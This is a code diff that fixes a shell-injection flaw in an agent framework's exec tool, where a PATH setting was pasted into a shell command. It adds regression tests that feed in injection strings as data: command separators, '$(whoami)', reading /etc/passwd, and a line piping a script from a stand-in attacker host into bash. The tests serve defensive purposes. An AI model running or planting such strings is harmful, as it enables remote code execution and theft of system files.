diff --git a/nanobot/agent/tools/shell.py b/nanobot/agent/tools/shell.py
index aa8ca67b..78a2cc24 100644
--- a/nanobot/agent/tools/shell.py
+++ b/nanobot/agent/tools/shell.py
@@ -135,10 +135,7 @@ class ExecTool(Tool):
         env = self._build_env()
 
         if self.path_append:
-            if _IS_WINDOWS:
-                env["PATH"] = env.get("PATH", "") + ";" + self.path_append
-            else:
-                command = f'export PATH="$PATH:{self.path_append}"; {command}'
+            env["PATH"] = env.get("PATH", "") + os.pathsep + self.path_append
 
         try:
             process = await self._spawn(command, cwd, env)
diff --git a/tests/tools/test_exec_env.py b/tests/tools/test_exec_env.py
index 47b2c313..b9567f29 100644
--- a/tests/tools/test_exec_env.py
+++ b/tests/tools/test_exec_env.py
@@ -74,3 +74,75 @@ async def test_exec_allowed_env_keys_missing_var_ignored(monkeypatch):
     tool = ExecTool(allowed_env_keys=["NONEXISTENT_VAR_12345"])
     result = await tool.execute(command="printenv NONEXISTENT_VAR_12345")
     assert "Exit code: 1" in result
+
+
+# --- path_append injection prevention ------------------------------------
+
+
+@_UNIX_ONLY
+@pytest.mark.asyncio
+@pytest.mark.parametrize(
+    "malicious_path",
+    [
+        # semicolon — classic command separator
+        '/tmp/bin; echo INJECTED',
+        # command substitution via $()
+        '/tmp/bin; echo $(whoami)',
+        # backtick command substitution
+        "/tmp/bin; echo `id`",
+        # pipe to another command
+        '/tmp/bin; cat /etc/passwd',
+        # chained with &&
+        '/tmp/bin && curl http://attacker.com/shell.sh | bash',
+        # newline injection
+        '/tmp/bin\necho INJECTED',
+        # mixed shell metacharacters
+        '/tmp/bin; rm -rf /tmp/test_inject_marker; echo CLEANED',
+    ],
+)
+async def test_exec_path_append_shell_metacharacters_not_executed(malicious_path, tmp_path):
+    """Shell metacharacters in path_append must NOT be interpreted as commands.
+
+    Regression test for: path_append was previously concatenated into a shell
+    command string via f'export PATH="$PATH:{path_append}"; {command}', which
+    allowed shell injection.  After the fix, path_append is passed through the
+    env dict so metacharacters are treated as literal path characters.
+    """
+    tool = ExecTool(path_append=malicious_path)
+    result = await tool.execute(command="echo SAFE_OUTPUT")
+
+    # The original command should succeed
+    assert "SAFE_OUTPUT" in result
+
+    # None of the injected payloads should have produced side-effects
+    assert "INJECTED" not in result
+    assert "root:" not in result  # /etc/passwd content
+
+
+@_UNIX_ONLY
+@pytest.mark.asyncio
+async def test_exec_path_append_command_substitution_does_not_execute(tmp_path):
+    """$() in path_append must not trigger command substitution.
+
+    We create a marker file and try to read it via $(cat ...).  If command
+    substitution works, the marker content appears in output.
+    """
+    marker = tmp_path / "secret_marker.txt"
+    marker.write_text("SHOULD_NOT_APPEAR")
+
+    tool = ExecTool(
+        path_append=f'/tmp/bin; echo $(cat {marker})',
+    )
+    result = await tool.execute(command="echo OK")
+
+    assert "OK" in result
+    assert "SHOULD_NOT_APPEAR" not in result
+
+
+@_UNIX_ONLY
+@pytest.mark.asyncio
+async def test_exec_path_append_legitimate_path_still_works():
+    """A normal, safe path_append value must still be appended to PATH."""
+    tool = ExecTool(path_append="/opt/custom/bin")
+    result = await tool.execute(command="echo $PATH")
+    assert "/opt/custom/bin" in result